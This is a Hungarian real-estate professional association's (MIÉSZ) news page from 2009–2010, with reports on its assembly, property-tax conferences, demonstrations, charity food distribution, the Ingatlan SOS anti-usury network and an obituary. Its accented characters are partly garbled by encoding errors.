Gátlástalanul nyomulnak az ingatlanszakma m?ködési jogosultságok nélküli hiénái, ellen?rzés nélkül, számonkérés nélkül – ezzel szemben folyamatosan ellen?riznek és büntetnek mindenkit, aki tisztességesen betartja a szabályokat. Egy ideje a VPOP is ellen?riz, sokan keresnek bennünket, tanácsot kérve. A  meghívó olvasható,  letölthet? és a regisztráció megtekinthet? itt>>>>>>>>>KLIKK 

 

CIB bank pályázat értékel?knek

2010 július

A CIB Bank nyilvános, többfordulós pályázatot hirdet vállalati ügyfélköre számára végzend? ingatlan-értékelési feladatok elvégzésére továbbiak: >>>>>>>>>>>

 

Közgy?lés 2010, MIÉSZ

Megtartotta éves közgy?lését a MIÉSZ, VOSZ KMRSZ együttm?ködés, felel?sségbiztosítás, ingatlan SOS, szakmai érdekképviselet

Beszámoló a 2010-es MIÉSZ közgy?lésr?l

  1. július 2-án került megrendezésre a soros évi közgy?lésünk.

helyszín Budafokon az Akácos vendégl? volt.

(A kékkel kiemelt linkekre kattintva a megfelel? oldal megnyílik)

Származási hely: 2010 közgy?lés

Címszavakban:

Komoly munkával töltött  évet zárt a MIÉSZ 2009-ben

Küldetésünk:    amit sikerült elérnünk – és amit kit?ztünk

Származási hely: 2010 közgy?lés

 

Szakmai felel?sségbiztosítás – hazánkban a a legkedvez?bb áron, a legoptimálisabb 3100,- Ft /fél év-t?l.

Származási hely: 2010 közgy?lés

 

VOSZ KMRSZ együttm?ködési megállapodás

Tiszteletbeli tagok okleveleinek átadása –

dr Széky Virág,        dr Kutsch Zoltán

 

Ingatlan SOS road show az Európai Sors-Társakkal

Származási hely: 2010 közgy?lés

 

dr Széky Virág: Fellépés az ingatlanszakma érdekében – érdekvédelem  – tagi kérésre módosított alapszabály: ügyvédek is kérhetik felvételüket a MIÉSZ-be

Perneky Antal, az ENOSZ vezet?je bemutatta az energiaszektort, és az egyesületét

Származási hely: 2010 közgy?lés

További részletek itt  >>>>>>>>>>katt

 

 

4 éves a MIÉSZ

Médiabeszélgetés a jelenr?l, jöv?r?l, feladatokról

Az ECHO TV adásában

 

MIÉSZ Közgy?lés 2010 juli 2

A Magyar Ingatlanközvetít?k és Értékbecsl?k Szakmai Szervezete vezet?sége szeretettel meghívja a 2010 julius 2-án, Budapesten, a Nagytétényi 174 alatt, a Campona melletti Akácos étteremben tartandó 2010-es évi közgy?lésére.

 

Meghívó

 

 

A Magyar Ingatlanközvetít?k és Értékbecsl?k Szakmai Szervezete vezet?sége szeretettel meghívja a 2010 julius 2-án, Budapesten, a Nagytétényi 174 alatt, a Campona melletti Akácos étteremben tartandó 2010-es évi közgy?lésére. (megközelítés:http://www.etterem.hu/10123 )

 

A Közgy?lés programjai:

 

15 órától :Érkezés, regisztráció

 

16 00: Közgy?lés kezdete

 

18 00: Vacsora: a finom vacsorát -mely egytálétel – sok szeretettel és jó alapanyagból készíttetjük el, mely a MIÉSZ regisztrált tagjai részére ingyenes – a nem regisztráltak részére 1000,- Ft/f?.

 

18 30: Szabad program, zene, karaoke, beszélgetések

 

Részletes program ITT http://miesz.hu/miesz/rendezvenynaptar/3615

 

 

Távirati hírek összefoglalója

MIÉSZ közlemények listája

  1. június 8., kedd 16:45

Sukoró és az ingatlanpanamák, valamint az Ingatlankataszter kapcsán a Magyar

Ingatlanközvetít?k és Értékbecsl?k Szakmai Szervezete nyilatkozata

  1. május 26., szerda 13:02
    Lakás-és Hitelügyi Ombudsmant ajánl a Magyar Ingatlanközvetít?k és

Értékbecsl?k Szakmai Szervezete              2010. április 8., csütörtök 17:17
A választások el?tt: Hyde –park a lakásmaffia ellen a politikusokkal.

  1. március 24., szerda 16:54
    <a href="http://os.mti.hu/Pages/News find out here.aspx?ni=61344&wo=Magyar+Ingatlank%c3%b6zvet%c3%adt%c5%91k#61344″>Felhívás a term?föld védelmére: a szakma tagjai is sokat tehetnek,

a Magyar Ingatlanközvetít?k és Értékbecsl?k Szakmai Szervezete

elkötelezett!

  1. február 25., csütörtök 11:41
    Ingatlanszakmai életm?díj – és Ingatlan Citrom díj
  2. február 19., péntek 13:32
    Ingatlanszakmai díjak: Ingatlan citrom díj és Ingatlanszakmai

életm?díj

  1. január 31., vasárnap 17:25
    MIÉSZ: Beszámoló a Vagyonadó konferenciáról
  2. január 26., kedd 17:51
    Vagyonadó: kész a B verzió?
  3. december 11., péntek 16:14
    Ingatlanmikulás és a minisztériumok – virgács, petíció, már 3.alkalommal
  4. október 30., péntek 12:16
    Visszaélések, megtévesztések, b?ncselekmények az

ingatlanszakma perifériáján

  1. október 7., szerda 11:30
    Elhunyt Karlik Imre, az ingatlanszakma neves képvisel?je
  2. július 17., péntek 11:32
    Romokban az Ingatlanszakma, tódozott-fódozott” közigazgatás,

ellen?rizhetetlen ingatlanszakemberek

  1. július 2., csütörtök 18:39
    Létrejött az uzsora- és lakásmaffia-ellenes segítség a

kiszolgáltatottaknak: az ingatlan SOS rendszer

  1. június 28., vasárnap 18:38
    Az ingatlanszakmai szervezetek kategorikusan kijelentik:

Ingatlanadó – nem! vagyonadó – nem!

  1. június 22., hétf? 15:34
    Ingatlanszakember – barát, vagy ellenség – Miért nincs

becsülete a szakmának

  1. május 18., hétf? 14:59
    Ingatlanadó: az újabb változatot is elutasítják a

szakmai szervezetek

  1. május 14., csütörtök 01:08
    Ingatlanadó – a szakmai szervezetek elutasítják
  2. február 23., hétf? 16:05
    Ingatlanszakmai Életm?díj 2009
  3. február 23., hétf? 16:04
    Ingatlanmaffia ellenes Életm?díj 2009
  4. február 23., hétf? 15:58
    Ingatlancitrom díj 2009
  5. július 29., kedd 16:09
    Ne legyen több áldozat! Az Ingatlanmaffia ellen, összefogás,

munka, elismerés

 

  1. augusztus 30., szerda 11:00
    Ellen?rizhet? ingatlanosok    Budapest, 2006. augusztus 30., szerda (OTS-Cégvonal)
    A Szakmában dolgozónak regisztráltatnia kell magát a Közigazgatási Hivatalokban egy Erkölcsi Bizonyítvánnyal és a végzettség igazolásával az Ingatlanközvetít?i Névjegyzékben.
    Ez nem nyilvános, de létrejött a közcélú portál, amely a névjegyzékben regisztrált ingatlanosokat rögzíti, amennyiben a szakember hozzájárul adatai nyilvánosságra hozásához.
    A portál feltöltés alatt, címe: www.ingatlanszaknevsor.hu
    Magyar Ingatlanközvetít?k és Értékbecsl?k Szakmai Szervezete (MI) www.5×5.hu

 

Ingatlanszakmát lejárató portálok elleni fellépés

Az Ingatlanszakmát nemcsak a feketéz?k, b?nöz?k járatják le, hanem a felel?tlen és gátlástalan hirdetési portálok is

 

Szakmavédelmi eljárások a gazdasági esélyegyenl?ség miatt:

Az Ingatlanszakmát nemcsak a feketéz?k, b?nöz?k járatják le, hanem a felel?tlen és gátlástalan hirdetési portálok is, melyek arra építik vállalkozásukat, hogy megtéveszt? módon, az Ingatlanszakma negatív bemutatásával próbálják létezésüket igazolni. Mivel ez nemcsak egyedi eset, hanem számtalan hasonló jelleg? portál jött létre, a MIÉSZ fellépett és eljárást indított a Gazdasági Versenyhivatalnál.

 


Az ügyben eljár és a MIÉSZ képviseletét dr. Széky Virág ügyvédlátja el. Info az eljárással kapcsolatban napközben: 061 336 2570

 

Részletek: http://docs.google.com/View?id=dc48dgpr_202g9ghm6hh

 

Az Ingatlanszakma legsürget?bb feladatai

MIÉSZ.: Lakás-és hitelügyi ombudsman, Ingatlankamara és állami hivatal, lakásmaffia elleni védelem, vállalkozói esélyegyenl?ség, ingatlan és kultúra

A legsürget?bb ingatlanszakmai kérdések, témák.

 

Az eddigi gyakorlattól eltér?en a szakmában dolgozók közül ne azokat a tisztességes vállalkozókat, cégeket ellen?rizzék és tartsák félelemben, akik jogkövet?en a hivatalokban beregisztráltak, hanem éppen azokat, akik feketén, végzettség, közteherviselés és ráfordítás nélkül járatják le a szakmát!! Ha ez a gyakorlat folytatódik, nem lesz értelme a legális m?ködésnek.

 

  1. Lakás-és hitelügyi Ombudsman hivatalának
    létrehozása (devizahitelek, visszaélések, uzsora, lakásmaffia és az
    azokat el?segít? jogi környezet ellen)
  2. Az Ingatlanszakma
    felügyeletét és annak szabályozóit meghatározó önálló állami hivatal
    létrehozása, ellen?rzési és szankcionálási jogkörrel
  3. Önálló
    Ingatlankamara létrehozása
  4. A lakosság rendkívül határozott
    védelme a lakásmaffia-jelleg? csalások és az ingatlannal kapcsolatos
    visszaélések ellen.
  5. Az Ingatlanszakmában dolgozók
    esélyegyenl?ségének és vállalkozói biztonságának védelme.

6 A lakáskultúra népm?velési szint? formázása, mely a színvonalas és jó hatásfokú, környezettudatos és megújuló forrású, energiatakarékos ingatlanok, természetes anyagok és stílusos kialakítások szorgalmazása, a meglév? állapot tisztességes karbantartása, a tiszta otthon, rendes ház jelleg? élhet? otthon mozgalom elindítása. A fentieket az Európai Sors-Társak KHE együttm?ködésével ajánljuk.

Továbbiak:  >>>> ITT!!!!

 

 

 

Mi végett vagyunk a világban?

célok, munkák, találkozók

 

A MIÉSZ

 

Egy nemrég megjelent cikkben elefánthoz hasonlították a szervezetünket, egy porcelánboltban 🙂 Találó is, hisz a hályogkovács bizonyosságával nyúlunk dolgokhoz, amib?l általában minden negatív  jóslat ellenére jól jövünk ki.

 

Néhány dolog, ami a szervezetünket jellemzi, amin dolgoztunk és ami sikerült

  • markáns szakmai érdekképviselet  katt ide,     meg ide
  •  szakmai felel?ségbiztosítás,  6150,- Ft/év-t?l indulva,
    megköthet? 2010 második félévre júni 15-t?l
  • szakmai min?ségbiztosítás              katt ide
  • és még ezer más,    a folytatáshoz   >>>>>>>>katt ide

 

MIÉSZ mail kiesés – április vége- május 25 között

Aki április vége és május 25 között az info@miesz.hu címre levelet küldött, kérem, ismételje meg, szervercsere miatt ezek a levelek elt?ntek. Köszönjük!

 

Vezet?ség

 

Májusi találkozó – csütörtök este, benne GV intézkedések, kamarai elképzelések, felel?sségbiztosítás, közös munka, Ingatlanfelügyelet

  1. május 27-én, 18 órakor Budapesten, a Márványmenyasszony étteremben ismét találkozunk.

Egy sor program lesz, a b?ség zavarával küzködünk a témákat és az el?adókat tekintve.

Aki még nem volt, de szeretne jönni, furdalja a kíváncsiság, vagy egyszer?en egy téma felkeltette az érdekl?dését, az jöjjön. Jó a társaság, az ételek finomak, és nincs belép?, mindenki a saját fogyasztását fizeti.

MIÉSZ vezet?ség

 

Áprilisi találkozó: ki csap be kit? Hogyan védekezhetünk? Hogyan lehet érvényesíteni a követeléseiknet

Folyamatosan visszatér? kérdések…jutalék.. Össznépi játék: ezek már a vállalkozásokat is komolyan veszélyeztetik

http://5×5.hu/blog/41825

 

Mi mennyi egy ingatlanvállalkozásban? Márciusi találkozónk

Találkozónkon arra a kérdésre próbáltunk választ kapni, milyen költségekkel, díjakkal, várható bevételekkel kell kalkulálni az ingatlanszakmai vállalkozásokban

A találkozóról: http://5×5.hu/blog/41819

 

Szakmai díjak, támogatások

Pár szó a szakmai díjakról és köszönet a karitatív támogatásokért

2010 fenruár 15-én a MIÉSZ megtartotta rendezvényét, ahol a szakmai díjak kerültek kiosztásra.
A díjazottak:      Katt ide>>>>

A díjátadás el?tt Vujity Trvrtko és Szenczy Sándor mesélt a karitatív munkáról és élményekr?l, külön kívánságunk volt, hogy ne a legsötétebb történeteket meséljék.

Az el?adás érdekes volt, mindenki hallgatta volna még tovább az egy órára kerekedett beszámolót, további fotók:   Katt ide>>>>

 

Az est második felében a jelelév?k 53 ezer Ft adományt adtak össze a karitatív célokra, melyet ezennel is köszönünk!
2010 március, MIÉSZ

 

 

Meghívó – Bálozás helyett – segítség. Vujity és Szenczy a halál szakadékairól

Találkozónk után valószín?leg nagy csend és elgondolkodás lesz. Rajtunk múlik, mi az, amin tudunk változtatni!

MEGHÍVÓ

Az Ingatlanszakma összefog – rendezvényre,

 

 

melyre szeretettel várunk február 25-én, csütörtökön 18 órakor a Márványmenyasszony Étterembe (Budapest, I. ker. Márvány u. 6.)

 

 

Vendégeink:

 

Szenczy Sándor Haitit, Csecsenföldet, Thai cunamit, Afrika nyomorát, észak Korea szenvedéseit és rengeteg katasztrófa – helyzetet átélt és segíteni tudó Baptista Szeretetszolgálat vezet?je

és

Vujity Trvtko az ismert riporter, m?sorvezet?

 

A jelen helyzetben úgy érezzük, hogy a mulatság helyett számot kell vetnünk: mit hozott nekünk, a szakmának, az országunknak és a világnak az elmúlt év. Sajnos, túl sok jóról nem számolhatunk be és e miatt nem is érezzük helyénvalónak, hogy fényes mulatsággal örüljünk a tavasz közeledtének.
Mi teljesen mást ajánlunk, és biztosak vagyunk abban, hogy aki velünk tart, az egy élete végéig tartó élményben részesül.

Mir?l is van szó?  Katt ide>>>>>>

 

Vg publicisztika

A politika kereszttüzébe került az a konferencia, melyet a közelmúltban rendezett a Magyar Ingatlanközvetít?k és Értékbecsl?k Szakmai Szervezete (MIÉSZ). A cél azonban teljesen más volt.

 

VG publicisztika http://www.vg.hu/velemeny/publicisztika/az-ingatlanszakma-szava-305053

 

 

Vagyonadóról: cikkk, talán ez a legjobb megközelítés

http://szegedma.hu/hir/szeged/2010/02/a-madi-ugy-rejtelmei/

 

 

 

 

Vagyonadó konferencia – MSZP, PM szavatartásból levizsgázott

A Vagyonadóról szóló konferencia – ahogy a szervez?k látták…

 

A rendezvényr?l részletes cikk:

 

http://miesz.hu/miesz/vagyonado_rendezveny/4313

 

 

 

 

Az est támogatója: Real Net Team Kft,  és  a Füti Omega Oktatási Kft

 

 

 

 

Vagyonadó: B – verzió? Informátoraink szerint izzítják a B-verziót! még nincs lefutva a Vagyonadó kérdése

Ma délutáni hír: lefújta a Vagyonadót az Alkotmánybíróság…

A másik információ szerint van kész terv a módosított vagyonadó bevezetésre

A csütörtöki konferencia (lásd lejjebb) még aktuálisabb, mint eddig bármikor volt: mi lesz a következ? lépés?

Vajon hogyan tud ebb?l arcát meg?rizve jól kijönni bárki is?

Lehet-e újabb módosításokkal még hatályba helyezni a módosításokat?

Aki kíváncsi a válaszokra, jöjjön el a konferenciára, és tegye fel a kérdését, remélem, megtaláljuk rá a választ.

Tanulság: el?bb-utóbb eljön az igazság pillanata…

Találkozó 28-án, csütörtökön, helyszín: Márványmenyasszony.

Meghívottak:

ÖTM, APEH, PM

Pártok részér?l:

Fidesz: Mádi László

Jobbik: dr. Leinhardt Balázs

MSZP: dr. Szanyi Tibor

 

Kaphatnak-e kártérítést az ingatlanszakért?k ?

Hogyan lehet következmények nélkül rángatni az embereket? Hogyan lehet felesleges kiadásokba verni, életpályákat tönkretenni egy átgondolatlan rendelettel? A MIÉSZ kezdeményezi a kártérítés vizsgálatát.

Egy nemrégiben bevezetett és többször foltozgatott rendelet szerint az ingatlanszakért?knek a PSZÁF által vezetett névjegyzékben kell szerepelniük, hogy a bankok számára készíthessenek értékbecslést.

 

A névjegyzékbe regisztrálás feltételeit teljesítend?, szakembereink sok százezres tanfolyamokat végeztek el, illetékeket fizettek, sok esetben id?s fejjel (pl. egyikük 58 évesen) elindultak diplomát szerezni.

 

Ezt a rendeletet egy tollvonással megszüntették, szakmai egyeztetés nélkül, viszont ott maradtak hoppon a csalódott szakemberek. >>>>>>>>>>>>>tovább

 

 

Vagyonadóról mégegyszer- vendégeink a Fidesz, Jobbik, MSZP, szaktárcák, Apeh, Pszáf

Meghívó

  1. 01. 28, csütörtök, 17 óra, Budapest, Márványmenyasszony étterem

Vagyonadóról még egyszer…Értékbecsl?i jogosultságok  Névjegyzékek


Meghívottak:

  • FIDESZ Mádi László
  • MSZPDr. Szanyi Tibor
  • JOBBIK Dr. Lenhardt Balázs
  • Önkormányzati és Területfejlesztési Minisztérium
  • Pénzügyminisztérium
  • APEH
  • PSZÁF

Az ingatlanadó – és ami még felmerül:

  1. Társadalmi igazságosság – pártok szakért?i véleménye folytatás:>>>>>>>>>>>

 

 

Kellemes ünnepeket és boldog újévet kívánunk

A Magyar Ingatlanközvetít?k és Értékbecsl?k Szakmai Szervezete minden szakmabelinek, leend? és jelenlegi, valamint volt ügyfeleinek és minden jóakaratú embernek kellemes ünnepeket kíván!

Nagyobb kép: KATT IDE

 

Elhatárolódások

Ezen a linken lehet?séget adunk bárkinek, hogy elhatárolódjon a MIÉSZ szombati rendezvényét?l, ahol az értékbecsl?k és a közvetít?k érdekében demonstráltak és 650 hajléktalannak adtak meleg ételt

 1 . MAISZ elhatárolódás:
A Magyar Ingatlanszövetség Elnöksége a MIÉSz által 2009 december 12-re szervezend? demonstrációjával kapcsolatban azt javasolja, hogy a MAISz Tagjai továbbra is a szövetség szakmai alapokon nyugvó érdekképviseletét támogassa.

Folytatás:  >>>>>>

 

 

Demonstráció és ételosztás

A nagy hal megeszi a kishalat- a külföldi tulajdonú cégek egyre jobban ráterpeszkednek az értékbecslés piacára… 650 rászorulónak sikerült meleg ételt, kenyeret adni a demonstráció után..

Demonstráció és ételosztás:

Ma a MIÉSZ két programot szervezett: délel?tt demonstrációt a PM, ÖM, MH el?tt. Délután a
8-ker-ben  ételosztást a hajléktalanoknak, rászorulónkak.
Az Európai Sorstársak Közhesznú Egyesület, a Zrínyi Miklós Nemzetvédelmi egyetem, a 8. ker. önkormányzat és még számos más támogató segítségével.

El?ször a demonstrációról:

A Pénzügyminisztérium szóviv?je izgatottan várta, hogy Rogán Antalnak segítsünk
a kerületi karácsonyfaosztás munkálataiban, a mikulás-figura és a hálás nyugdíjasok szép zsínfoltjai voltak a kerület akciójának.
A PM szóviv?je a kamerák és a mikrofonok kereszttüzében bármit hajlandó volt megígérni, sajnálom, hogy nem írattuk vele alá saját szavait 🙂

Így utólag látjuk, hogy a PM szóviv?je ígéretekben b?velkedve teljesen félrevezetett mindenkit a nagy nyilvánosság el?tt, mivel egyetlen egyszer nem vett részt egyeztetésben, sem el?tte, sem után. Semmilyen kapcsolatfelvételi kísérletünkre nem reagált, és arrogánsan elutasított. NO comment. Halgassa és nézze meg mindenki az interjútkat

Err?l a Kossuth rádió:

Az ingatlanosok f?ként azt nehezményezik, hogy a külföldi cégek elveszik a munkát a hazai értékbecsl?k el?l, akik immár ezeknek a vállalkozásoknak az alvállalkozóiként, feléért, harmadáért kénytelenek dolgozni.

Jelenleg szinte bárki lehet ingatlanközvetít? vagy -értékbecsl?. Egyebek mellett e miatt tiltakozik a szakmai szervezetük. Délel?tt tüntettek a Pénzügyminisztérium el?tt.

Hallgassa meg a Kossuth rádió beszámolóját!

A Tv tudósítás:

 

Az ételosztás:

A mi szervezetünk szeretné megmutatni az ingatlanszakma emberi arcát. Nagyon sok helyen voltunk, illetve képviseltettük magunkat karitatív szolgálatban, így Erdélyben, Kobátfalván az árvízi munjkálatokban, szociális otthonok építésében, Kárpátaljai építésekben, bácskai újjáépítésben, patriumi segítségben, beteg kollégák ellátásának megszervezésében, afrikai és erdélyi árvák örökbefogadásában
(Vujity Trvrtko és Szenczi Sándor  segítségével) és sok egyéb dologgal, amire büszkék vagyunk.
Így a karácsony el?tt a 8 ker közepén sok-sok embernek volt módunk ételt osztani.

A szakmai fórumunkon keresztül nagyon sok segítséget kaptunk, húst, kolbászt, zöldségeket, pénzadományt, kenyeret, étkez?eszközöket, alapanyagokat. Volt olyan kolléga, aki Kecskemétr?l jött, zöldséget és egyéb alapanyagot hozva, önzetlenül. Hatalmas er? van az összefogásban, ebben tényleg párját ritkítja ez a cscsapat.
Nagyon köszönünk minden segítséget a MIÉSZ tagjainak, akik a szombati ételosztáshoz anyagot, pénzt, segítséget adtak. Hatalmas munka volt, de a legnagyobb érdem az Európai Sors-Társaké, akik hihetetlen önfeláldozó munkával dolgoztak.

Az egész ország ingatlanos társadalma megmozdult.

Nagyon rossz volt nézni ezt a hatlamas, kígyózó sort, alul a fotók között látható, hogy kilométeres sor kígyózott…

2010-ben még nagyobb méret? ételosztást szeretnénk elindítani, akár az ország több pontján is, amihez várjuk a segítségeket.

Az ételosztásról még:

  • Külön köszönet a Sors-Társak egyesületének, akik az egész ételosztás megálmodói,  ötletgazdái, létrehozói, szervez?i, motorjai voltak, amiért elfogadták segítségünket.
  • Külön köszönet Török Szabó Erzsébet édesanyjának, özv.Szabó Józsefnének, aki anyagilag támogatta a Sors-Társak egyesületét, mert kevésnek bizonyult az egyesület pénze
  • a Zrínyi Miklós Nemzetvédelmi Egyetem vezet?inek, akik a technikai hátteret biztosították
  •  a kerületi Polgármesternek, aki a Sors-Társak Egyesületet támogatja
  • és mindenkinek, aki hozzájárult ehhez a nagy munkához.

Hozzászólás írása: http://5×5.hu/blog/41801

Származási hely: F?album
Származási hely: F?album
Származási hely: F?album
Származási hely: F?album
Származási hely: F?album

Ingatlanmagazin.com:

http://www.ingatlanmagazin.com/11567/

 

Nagyon nehezen változik a hozzáállás – íróasztalok mögött döntenek, a civil szervezetekre semmi szükség, szóba sem állnak velük…  http://ots.mti.hu/news.asp?view=2&newsid=59350

Hozzászólás írása: http://5×5.hu/blog/41801

 

Újra itt az Ingatlanmikulás! December 12, PM, ÖTM, MH délután 600 ember megvendégelése a Sors-Társakkal

Demonstráció: meglátogatjuk a minisztereket, hogy végre azokkal is találkozzanak, akik m?velik a szakmát.

találkozó: délel?tt 10 órakor a PM el?tt

  • December 12-én a demonstrációt tartunk és petíciót adunk át az ÖTM, a PM, az IM és a MH el?tt, a szokásosnál kissé hangosabban,  kitérve a legújabb rendeletekre, és az egész szervezett szakma semmibevételére. Demonstráció után ételosztás több szervezettel együttm?ködve a Parlament el?tt ( a helyszín változhat)várunk minél több jelentkez?t: info@miesz.huAz eddigi demonstrációkról itt láthatnak rövid összefoglalót:

2007-es Ingatlanmikulás
2008-as Ingatlanmikulás

 

Novemberi decemberi programok a MIÉSZ háza táján.

Ha van egy probléma, nem csinálunk a kivizsgálására bizottságot, tanulmányt, hanem megoldjuk.

 

  • A MIÉSZ novemberben az Ingatlan SOS uzsora és lakásmaffia – ellenes rendszert építette az Európai Sors-Társakkal,   részletek katt ide

 

  • Elkészült a 2010-es  Ingatlanszakmai Azonosító Kártya. Mi is ez a kártya? Mi is ez az min?ségbiztosítási  rendszer? Katt ide!

 

Az azonosító kártya minden rendes tagunknak jár, az oklevéllel egyetemben, valamint az azonosító hologrammos matricákkal, ha befizette a következ? – 2010-es évre a tagdíjat.

Döntés született arról, hogy csak MIÉSZ tagok kaphatnak a továbbiakban kártyát (az els? évben több kártyát kiadtunk azoknak, akik a követelményeknek mindenben megfeleltek, de nem voltak szervezett tagok)

 

Amennyiben más szakmai  szervezet igényli az azonosító kártyát tagjai részére (a saját szervezeti logóval) azokat is elkészítjük az egységesen érvényes szakmai el?írások alapján.

 

Katt ide!

 

 

  • December 12-én a demonstrációt tartunk és petíciót adunk át az ÖTM, a PM, az IM és a MH el?tt, a szokásosnál kissé hangosabban,  kitérve a legújabb rendeletekre, és az egész szervezett szakma semmibevételére. Demonstráció után ételosztás több szervezettel együttm?ködve a Parlament el?tt ( a helyszín változhat)várunk minél több jelentkez?t: info@miesz.huAz eddigi demonstrációkról itt láthatnak rövid összefoglalót:

2007-es Ingatlanmikulás
2008-as Ingatlanmikulás

 

  • Bár nem tartozik szorosan a MIÉSZ  hatáskörébe, de bizonyos kérdéseket megoldhatunk talán magunk is:December 15-én politikai jelleg? találkozó azoknak, akik nem a hagyományos utakat keresik, váltsuk meg a világot!  Aki nyitott szemmel, füllel jár, azoknak! jelentkezés, érdekl?dés: info@egyiksem.hu

 

  • Novemberben a szokásos találkozónkon az Ingatlan.com, az Ingatlanok.hu, az Origoingatlan, az Ingatlanbazár.hu és az Ingatlanmax hirdetési portálok vezet?it hívtuk meg.

 

 

A rendkívül sikeres bemutatókról itt olvashatnak részleteket katt ide

 

  • December 17-én lesz a MIÉSZ karácsonyi ünnepsége, ahol kis ünnepség keretében minden évben megajándékozzuk egymást, hisz szoros kapcsolatok, barátságok alakultak ki az immár többéves közös munka, találkozók alapján.Nagyon sok magányos ember van, ezzel szemben mi csapat vagyunk, ha kell segítünk egymáson, ha kell, országos kampányt szervezünk, amikor szükség van valamelyik társunknak valamire.Ezért vagyunk er?sek és nagyon hálásak vagyunk tagjainknak, hogy n? évr?l évre a taglétszámunk .

Köszönjük mindenkinek a támogatást!!!

 

 

 

 

Ingatlan SOS pontok elérhet?ségei

A visszaéléseket az alábbi helyeken lehet megbízható kollégáinknál bejelenteni

Ingatlan SOS pontok elérhet?ségei

Pécs:

Dr. Horváth Csaba   jogász, igazságügyi ingatlanforgalmi szakért?

ingatlanszaknévsor adatlap:

http://www.5×5.hu/?pID=10&uid=375

 

FUNDUS Ingatlanközvetít? Iroda

  1. Pécs, Teréz u.1.

Tel/fax: +36 / 72-511-746

www.ingatlanfundus.hu

Tamási:

Sipos Jánosné  ügyvezet?

ingatlanszaknévsor adatlap:

http://www.5×5.hu/user/sipos_janosne

„Stamina 2004” Kft.

  1. Tamási Garay u. 6.

Tel: + 36 / 74-570-231 fax: + 36 / 74-570-232

e-mail:

dynamiclein1@axelero.hu

további SOS pontok>>>>>>>>>>>>

 

Ahol nagy a szükség, közel a segítség! Fórumokat is tartanak a megel?zés érdekében!

Kihez forduljak, ha uzsorások kezébe kerültem?? Ha elveszik alakásomat? Dunántúlon már több helyen lehet SOS pontokat találni! Önkormányzatok, iskolák részére is tartanak el?adásokat az SOS szakemberei!

Az Európai SORS-TÁRSAK Közhasznú Egyesülete és a Magyar Ingatlanközvetít?k és Értékbecsl?k Szakmai Szervezete (MIÉSZ) közösen harcol a lakásmaffia és az uzsora ellen.

A visszaélések meggátolására létrehozták az Ingatlan SOS rendszert, melyben vidéken a MIÉSZ országos hálózatának tagjai az SOS keretein belül felveszik a panaszokat, azokat továbbítják az Európai Sors-Társak szakemberei részére, akik a megfelel? intézkedést (jogi támogatás, feljelentés, súlyosabb esetben kimentés a zsarolók kezeib?l) megteszik.

 

Az elmúlt héten országjáró – tényfeltáró útra indult a MIÉSZ és az Európai SORS-TÁRSAK Közhasznú Egyesülete, ahol nagyon szomorú tapasztalatokról számolhatnak be. Nagy a kilátástalanság, alapvet? élelmiszerek, gyógyszerek árát nem tudják kifizetni, nincs munka, nincs jöv?.

Ez a kilátástalan helyzet a melegágya a visszaéléseknek, gátlástalan emberek az utolsó értékeikt?l fosztják meg az embereket. Nincs kit?l tanácsot kérni, nincs kinek elmondani.

Ezen segít az Ingatlan SOS

 

Folyamatosan n? azoknak az irodáknak a száma, ahol a visszaéléseket rögzítik.

A Dél-és Nyugat Dunántúl területein a következ? ingatlanirodákhoz lehet fordulni :

 

>>>>>>>>tovább

 

 

 

Mi történt októberben?

Októberben a kolbászfesztiválon ismét!!!

Az élet megy tovább… a kolbászfesztivál tavalyi sikerei után az idén is ott voltunk, jókedv, nevetés és együtt dolgozás..sok vendég jött, besegítettek, ismerkedtünk a helyiekkel, jó volt, jöv?re ismét!

 

Elhunyt Karlik Imre

Mély döbbenettel és gyásszal fogadtuk a hírt: 2009. 10. 6-án elhunyt Karlik Imre, a hazai ingatlanszakma kiemelked? egyénisége, az Ingatlanosok Magyarországi Érdekképviselete Egyesületének elnöke, a formálódó  Ingatlankamara nagyszer? támogatója.

Karlik Imre minden erejével a szervezetek közötti megegyezést támogatta, abban a reményben, hogy a szervezett szakma –kés?bbiekben az Ingatlankamara – hatékonyan tudjon fellépni a rossz törvények, rendeletek és a visszaélések ellen.

Munkássága a Szakma megújulását és az együttm?ködések er?södését eredményezte.

Halálával az ingatlanszakmát pótolhatatlan veszteség érte.

Karlik Imre búcsúztatása a Nagykovácsi temet?ben,

  1. október 16.-án pénteken lesz.

Az urnás ravatalozás  13 órakor, a temetési ceremónia 14. órakor kezd?dik.

Magyar ingatlanközvetít?k és Értékbecsl?k Szakmai Szervezete vezet?sége

Cikkek:

http://5×5.hu/blog/41786/elhunyt_karlik_imre

http://internetdetektiv.hu/2009/05/19/4799

http://www.5×5.hu/blog/41774

http://tilk-tilk.blogspot.com/2009/10/elhunyt-karlik

http://www.oleh.hu/index.php?a=adat_dijak

http://ecoline.hu/penzugyek/200629HVGFriss157.

 http://www.ingatlanmagazin.com/10907/Elhunyt

 

 

Ma Magyarországon egyetlen értékbecslés sem lehet törvényes és támadhatatlan.

Érdekfeszít? kérdések – érdekes el?adások

Az elmúlt csütörtöki találkozón a hitelekr?l, az értékbecslésekr?l és a megbízókról folyt a beszélgetés és az ezt felölel? témakört járták körbe a résztvev?k.

Vendégünk Kézdi Zsolt, a Banki Hiteltanácsadók és Kihelyez?k Egyesülete elnöke volt.

A kérdések  az értékbecslések és a hitelnyújtások, a bankok és a hitelfelvev?k kálváriáiról, a sokszor összeegyeztethetetlen, teljesíthetetlen elvárásokról szóltak.

Kézdy Zsolt bemutatta a hiteltanácsadók munkáját, melynek szakmai jelene rendkívüli hasonlóságot mutat az ingatlanszakma elmúlt és jelen problémáival.

Itt a kompetenciák, névjegyzékek, elismertség, oktatás, szakmai jöv?kép párhuzamait boncolgattuk.

Az értékbecsl?k részér?l dr Kardos Kázmér ?szinte szavait hallhattuk, melyben a szakmai feltételek és az értékbecslések szabályozásának teljes reformját és pontos kidolgozását tartotta a legfontosabbnak, a kiszolgáltatottság elkerülése érdekében.

El?adásának alapja a nyári konferencián készített anyaga volt, melyet

 

itt lehet megtekinteni a nagyon ?szinte, kritikus és önkritikus el?adást, amit minden szakembernek ajánlunk!!!!

 

 

Az értékbecslés kérdésköreiben a bizonytalanság, mint árlenyomó tényez? szerepel, mivel a bankok teljesen egyedi és önkényes módon határozzák meg a feltételeiket, melyet sokszor szakmai tapasztalat nélkül, saját fontosságukat ezáltal bizonyító bürokraták határoznak meg, szakmai egyeztetés nélkül.

A szabályozatlanság miatt bármelyik értékbecsl? munkáját el lehet utasítani, mely ellen jogorvoslat nincs.

A megbízók hasonló okok miatt nem láthatják az általuk kifizetett értékbecslést, mely teljesen jogtalan és példanélküli.

